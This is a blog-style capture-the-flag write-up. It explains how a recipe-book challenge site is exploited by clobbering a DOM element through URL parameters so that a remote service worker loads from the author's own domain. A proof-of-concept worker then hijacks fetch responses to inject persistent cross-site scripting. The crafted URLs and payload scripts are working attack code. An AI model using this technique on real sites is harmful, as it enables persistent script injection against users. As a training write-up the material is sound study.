        ingredients: &quot;Chicken, fettuccine, cream sauce, Parmesan cheese&quot;,
        instructions: &quot;Cook chicken. Prepare fettuccine. Mix with cream sauce and cheese.&quot;,
        image: &quot;chicken_alfredo.jpg&quot;
    },
    // Add more recipes here
];

// Enable CORS (Cross-Origin Resource Sharing) for local testing
app.use((req, res, next) =&gt; {
    res.header(&quot;Access-Control-Allow-Origin&quot;, &quot;*&quot;);
    res.header(&quot;Access-Control-Allow-Headers&quot;, &quot;Origin, X-Requested-With, Content-Type, Accept&quot;);
    next();
});

// Endpoint to get all recipes
app.get(&apos;/api/recipes&apos;, (req, res) =&gt; {
    res.json({ recipes });
});

app.listen(port, () =&gt; {
    console.log(`API server is running on port ${port}`);
});</code></pre><p>Looking through this code, nothing particularly stands out as of now. It seems to be serving a simple web app with some Content Security Policy (CSP) rules.</p><p>When we visit the challenge website, however, we are greeted with what seems to be a recipe book.</p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/02/image.png" class="kg-image" alt="Wizer CTF - Recipe Book - Alert and Beyond!" loading="lazy" width="1310" height="726" srcset="https://yoerivegt.com/content/images/size/w600/2024/02/image.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/02/image.png 1000w, https://yoerivegt.com/content/images/2024/02/image.png 1310w" sizes="(min-width: 720px) 720px"></figure><p>Looking at its source, we find a second <code>app.js</code> file. Because it&apos;s quite long, I&apos;ve snipped it down to the most important bits for this challenge:</p><pre><code class="language-js">document.addEventListener(&apos;DOMContentLoaded&apos;, function () {

    // Get the &quot;mode&quot; and &quot;color&quot; GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get(&apos;mode&apos;);
    const colorParam = searchParams.get(&quot;color&quot;);

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById(&quot;mode&quot;).children[0].id = modeParam;
    }

    if (colorParam !== null &amp;&amp; modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }

    // Get the mode element
    const modeElement = document.getElementById(&apos;mode&apos;);

    if (modeElement) {
        // Get the background color element
        let backgroundColorElement = document.getElementById(&apos;light&apos;);
        if (backgroundColorElement) {
            const backgroundColor = backgroundColorElement.innerText.trim();

            // Apply background color
            document.body.style.backgroundColor = backgroundColor;
        }

        backgroundColorElement = document.getElementById(&apos;dark&apos;);
        if (backgroundColorElement) {
            const backgroundColor = backgroundColorElement.innerText.trim();

            // Apply background color
            document.body.style.backgroundColor = backgroundColor;

            // Apply CSS inversion if it&apos;s a &apos;dark&apos; mode
            document.getElementById(&apos;filter&apos;).style.filter = &apos;invert(100%)&apos;;
        }
    }
});

// Fetch and populate recipes when the page loads
document.addEventListener(&apos;DOMContentLoaded&apos;, () =&gt; {    
        // Service worker registration
        if (&apos;serviceWorker&apos; in navigator) {
            const sw = document.getElementById(&apos;sw&apos;).innerText;
            navigator.serviceWorker.register(&apos;sw.js?sw=&apos; + sw)
                .then(registration =&gt; {
                    console.log(&apos;Service Worker registered with scope:&apos;, registration.scope);
                })
                .catch(error =&gt; {
                    console.error(&apos;Service Worker registration failed:&apos;, error);
                });
        }
});

const channel = new BroadcastChannel(&apos;recipebook&apos;);
channel.addEventListener(&apos;message&apos;, (event) =&gt; {
  alert(event.data.message);
});
  </code></pre><p>The first important function in this JavaScript file takes two GET parameters, <code>mode</code> and <code>color</code>, which it uses for setting the theme of the page. These two parameters get reflected in the page&apos;s DOM as an HTML element ID and the text content of that ID.</p><pre><code class="language-javascript">document.addEventListener(&apos;DOMContentLoaded&apos;, function () {

    // Get the &quot;mode&quot; and &quot;color&quot; GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get(&apos;mode&apos;);
    const colorParam = searchParams.get(&quot;color&quot;);

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById(&quot;mode&quot;).children[0].id = modeParam;
    }

    if (colorParam !== null &amp;&amp; modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }
});
</code></pre><p>The second important function of this <code>app.js</code> file registers service workers on the page. Service workers are scripts that run in the background of a web browser, independent of web pages, enabling features like push notifications, background sync, and caching to enhance the performance and user experience of web applications.</p><p>The page determines which service workers to load depending on the inner text value of the HTML element with the ID of &quot;sw&quot;. It then tries to register that service worker. Please note the <code>sw.js</code> reference for later. Can you see what we&apos;re going with this yet? ;)</p><pre><code class="language-js">// Fetch and populate recipes when the page loads
document.addEventListener(&apos;DOMContentLoaded&apos;, () =&gt; {
		// [snip]    
        // Service worker registration
        if (&apos;serviceWorker&apos; in navigator) {
            const sw = document.getElementById(&apos;sw&apos;).innerText;
            navigator.serviceWorker.register(&apos;sw.js?sw=&apos; + sw)
                .then(registration =&gt; {
                    console.log(&apos;Service Worker registered with scope:&apos;, registration.scope);
                })
                .catch(error =&gt; {
                    console.error(&apos;Service Worker registration failed:&apos;, error);
                });
        }
});</code></pre><p>Then, at the end of the script, we have three short lines which come in clutch later in this challenge:</p><pre><code class="language-js">const channel = new BroadcastChannel(&apos;recipebook&apos;);
channel.addEventListener(&apos;message&apos;, (event) =&gt; {
  alert(event.data.message);
});</code></pre><p>This part of the script listens to whenever a postmessage is made on the <code>recipebook</code> broadcast channel. It then pops an alert with the contents of that postmessage request.</p><p>Lastly, we have the <code>sw.js</code> file.</p><pre><code class="language-js">// Allow loading in of service workers dynamically
importScripts(&apos;/utils.js&apos;);
importScripts(`/${getParameterByName(&apos;sw&apos;)}`);
</code></pre><p>This file dynamically loads in a service worker, from a GET parameter which gets defined by the <code>app.js</code> file on the page. </p><h3 id="initial-idea">Initial idea</h3><p>When participating in CTFs, I like to backtrack from what the goal is to the start of the challenge. Our goal is to pop an alert with the text &quot;Wizer&quot;.</p><p>One thing that almost instantly attracted my attention was the postmessage listener we found in <code>app.js</code>.</p><pre><code class="language-js">const channel = new BroadcastChannel(&apos;recipebook&apos;);
channel.addEventListener(&apos;message&apos;, (event) =&gt; {
  alert(event.data.message);
});</code></pre><p>If we can somehow send a postmessage request on the <code>recipebook</code> channel, we&apos;re able to alert the &quot;Wizer&quot; string!</p><p>However, this CTF requires you to enter a single URL in the solution, with a bot that&apos;ll visit that URL you posted. Meaning we can&apos;t have multiple tabs open to trigger an alert. We somehow need to trigger the alert from visiting a single URL, like a user clicking on your link. But how?</p><p>Tracking back, we might be able to exploit the dynamic loading of service workers!</p><figure class="kg-card kg-code-card"><pre><code class="language-js ">importScripts(`/${getParameterByName(&apos;sw&apos;)}`);</code></pre><figcaption><p><span style="white-space: pre-wrap;">sw.js</span></p></figcaption></figure><p>This <code>sw.js</code> script gets registered from <code>app.js</code>, which takes the <code>innerText</code> value from the HTML element with the ID of <code>sw</code>.</p><pre><code class="language-js">const sw = document.getElementById(&apos;sw&apos;).innerText;
navigator.serviceWorker.register(&apos;sw.js?sw=&apos; + sw)</code></pre><p>Does this ring any bell yet? Do you remember the function that sets the ID and innerText values for the theme?</p><pre><code class="language-js">document.addEventListener(&apos;DOMContentLoaded&apos;, function () {

    // Get the &quot;mode&quot; and &quot;color&quot; GET parameters
    const searchParams = new URLSearchParams(location.search);
    const modeParam = searchParams.get(&apos;mode&apos;);
    const colorParam = searchParams.get(&quot;color&quot;);

    // Update the elements based on GET parameters
    if (modeParam !== null) {
        document.getElementById(&quot;mode&quot;).children[0].id = modeParam;
    }

    if (colorParam !== null &amp;&amp; modeParam !== null) {
        document.getElementById(modeParam).textContent = colorParam;
    }
});</code></pre><p>Here you see the <code>mode</code> parameter gets set as the ID of an HTML element, and the <code>color</code> parameter gets set as the text content of that ID.</p><p><a href="https://events.wizer-ctf.com/?mode=customID&amp;color=textValue&amp;ref=yoerivegt.com"><code>https://events.wizer-ctf.com/?mode=customID&amp;color=textValue</code></a></p><h3 id="chaining-everything-together">Chaining everything together</h3><p>Since service workers get registered from the HTML element with an <code>sw</code> ID, we can overwrite the default service worker on the page.</p><p><a href="https://events.wizer-ctf.com/?mode=sw&amp;color=test12345.js&amp;ref=yoerivegt.com"><code>https://events.wizer-ctf.com/?mode=sw&amp;color=test12345.js</code></a></p><p>Looking in the browser&apos;s developer console, we can see the browser is unable to register the service worker because it doesn&apos;t exist:</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://yoerivegt.com/content/images/2024/02/image-5.png" class="kg-image" alt="Wizer CTF - Recipe Book - Alert and Beyond!" loading="lazy" width="1904" height="254" srcset="https://yoerivegt.com/content/images/size/w600/2024/02/image-5.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/02/image-5.png 1000w, https://yoerivegt.com/content/images/size/w1600/2024/02/image-5.png 1600w, https://yoerivegt.com/content/images/2024/02/image-5.png 1904w" sizes="(min-width: 1200px) 1200px"></figure><p>Can we somehow call a remote JavaScript file on which we host the postmessage script? Yes, we can!</p><p>Looking back at <code>sw.js</code> (the script that dynamically registers the service workers), we see that it tries to import a service worker starting with a <code>/</code> in the path:</p><pre><code class="language-js">// Allow loading in of service workers dynamically
importScripts(&apos;/utils.js&apos;);
importScripts(`/${getParameterByName(&apos;sw&apos;)}`);
</code></pre><p>We could abuse this by appending another <code>/</code> after the first slash, which JavaScript automatically translates to a domain name. Meaning that we can register a remote service worker!</p><p>I hosted a JavaScript file on my domain, having the following contents (make sure the JavaScript file is hosted on a webserver with HTTPS enabled; otherwise, the service worker won&apos;t register):</p><figure class="kg-card kg-code-card"><pre><code class="language-js">const channel = new BroadcastChannel(&apos;recipebook&apos;);
channel.postMessage({ message: &apos;Wizer&apos; });</code></pre><figcaption><p><span style="white-space: pre-wrap;">0ay.nl/assets/js/test.js0ay.nl/assets/js/test.js</span></p></figcaption></figure><p>Let&apos;s try to register this service worker with the exploit we found on the website:</p><p><a href="https://events.wizer-ctf.com/?mode=sw&amp;color=%2F0ay.nl%2Fassets%2Fjs%2Ftest.js&amp;ref=yoerivegt.com"><code>https://events.wizer-ctf.com/?mode=sw&amp;color=/0ay.nl/assets/js/test.js</code></a></p><p>Boom! When visiting the URL, an alert window pops up with the &quot;Wizer&quot; string! We did it!</p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/02/image-2.png" class="kg-image" alt="Wizer CTF - Recipe Book - Alert and Beyond!" loading="lazy" width="1560" height="243" srcset="https://yoerivegt.com/content/images/size/w600/2024/02/image-2.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/02/image-2.png 1000w, https://yoerivegt.com/content/images/2024/02/image-2.png 1560w" sizes="(min-width: 720px) 720px"></figure><h3 id="summary">Summary</h3><p>We exploited a vulnerability in the website by crafting a malicious URL with two GET parameters, <code>mode</code> and <code>color</code>. These parameters were used to set an HTML element with the ID specified by the <code>mode</code> parameter, and the content of the element was set according to the <code>color</code> parameter.</p><p>Using this mechanism, we overwrote the HTML element with the ID &quot;sw&quot;, which was used to register a service worker, with a JavaScript file we controlled. Our JavaScript file sent a postMessage request, which the web app listened for, triggering an alert with the contents of that message. This successful exploit allowed us to solve the challenge by popping an alert with the desired content.</p><h2 id="beyond-the-challenge">Beyond the challenge</h2><h3 id="xss">XSS</h3><p>Although we popped an alert on this web app, this doesn&apos;t mean we have full Cross-Site Scripting. The alert was able to fire thanks to the postMessage listener, which listened to any incoming postMessage, and would send out an alert when a postMessage was received.</p><p>This, of course, doesn&apos;t have any real-world malicious implications. So how can we abuse this? Let&apos;s find out!</p><h3 id="the-capabilities-of-service-workers">The capabilities of Service Workers</h3><p>Unfortunately, according to the Mozilla docs, service workers don&apos;t have access to the DOM of the webpage. Which is a bummer because we could&apos;ve written some of the DOM over to include our custom JavaScript, which would&apos;ve given us full JS access to the page (including the DOM).</p><p>Although service workers can&apos;t access the DOM, they have some other nifty features! We can create an event listener for fetch, and even better, we can intercept and change the response of the fetch! This way, we can execute any JavaScript on the page&apos;s DOM.</p><h3 id="pocgtfo">PoC||GTFO</h3><p>Let&apos;s create a proof of concept!</p><p>Mozilla has all the service worker APIs nicely documented, just like the <a href="https://developer.mozilla.org/en-US/docs/Web/API/FetchEvent/respondWith?ref=yoerivegt.com" rel="noreferrer">event.respondWith() method</a>.</p><p>On my domain, I&apos;ve hosted a JavaScript file with the following contents:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">this.addEventListener(&apos;fetch&apos;, function(event) {
   event.respondWith(new Response(&quot;&lt;script&gt;prompt(&apos;This is a custom prompt! &apos; + window.location.host)&lt;/script&gt;&lt;h1&gt;Hi! This response was intercepted and replaced with a javascript payload!&lt;/scrip&gt;&quot;, {headers: {&apos;Content-Type&apos;: &apos;text/html&apos;}}));
});</code></pre><figcaption><p dir="ltr"><span style="white-space: pre-wrap;">0ay.nl/assets/js/fetch.js</span></p></figcaption></figure><p>This service worker will listen and wait until a fetch event happens, and when it does happen, it&apos;ll intercept the request and change it up for a very simple Cross-Site Scripting payload. Let&apos;s see it in action!</p><ol><li>First, visit the malicious link we made, but instead of <code>test.js</code>, use the <code>fetch.js</code> file, like: <a href="https://events.wizer-ctf.com/?mode=sw&amp;color=%2F0ay.nl%2Fassets%2Fjs%2Ffetch.js&amp;ref=yoerivegt.com"><code>https://events.wizer-ctf.com/?mode=sw&amp;color=/0ay.nl/assets/js/fetch.js</code></a></li><li>Nothing appears to happen; this is because the service worker got registered after the fetch requests happened. Refresh the page!</li><li>A <code>prompt</code> JavaScript window appears, proving our JavaScript code execution!</li></ol><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/02/image-3.png" class="kg-image" alt="Wizer CTF - Recipe Book - Alert and Beyond!" loading="lazy" width="1260" height="291" srcset="https://yoerivegt.com/content/images/size/w600/2024/02/image-3.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/02/image-3.png 1000w, https://yoerivegt.com/content/images/2024/02/image-3.png 1260w" sizes="(min-width: 720px) 720px"></figure><p>Clicking on &quot;Ok&quot; or &quot;Cancel&quot; will print out the H1 tag on the screen:</p><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/02/image-4.png" class="kg-image" alt="Wizer CTF - Recipe Book - Alert and Beyond!" loading="lazy" width="1884" height="260" srcset="https://yoerivegt.com/content/images/size/w600/2024/02/image-4.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/02/image-4.png 1000w, https://yoerivegt.com/content/images/size/w1600/2024/02/image-4.png 1600w, https://yoerivegt.com/content/images/2024/02/image-4.png 1884w" sizes="(min-width: 720px) 720px"></figure><h2 id="conclusion">Conclusion</h2><p>We&apos;ve done it! We escalated the installation of service workers from a simple alert to full Cross-Site Scripting on our website. And because this is done through a service worker, the XSS is quite persistent, even if you close and reopen your browser! The possibilities are endless now, as you can display and execute anything on the page you want!</p><p>Thank you <a href="https://www.wizer-training.com/?ref=yoerivegt.com" rel="noreferrer">Wizer Training</a> for hosting this CTF, and <a href="https://www.linkedin.com/in/robbe-van-roey-365666195/?ref=yoerivegt.com" rel="noreferrer">PinkDraconian</a> for creating this amazing challenge! I learned a lot from the challenge, writing the write-up, and going further than the flag!</p><p>Thanks.</p><ul><li>Yoeri Vegt</li></ul><figure class="kg-card kg-image-card"><img src="https://yoerivegt.com/content/images/2024/02/image-6.png" class="kg-image" alt="Wizer CTF - Recipe Book - Alert and Beyond!" loading="lazy" width="1222" height="944" srcset="https://yoerivegt.com/content/images/size/w600/2024/02/image-6.png 600w, https://yoerivegt.com/content/images/size/w1000/2024/02/image-6.png 1000w, https://yoerivegt.com/content/images/2024/02/image-6.png 1222w" sizes="(min-width: 720px) 720px"></figure>]]></content:encoded></item></channel></rss>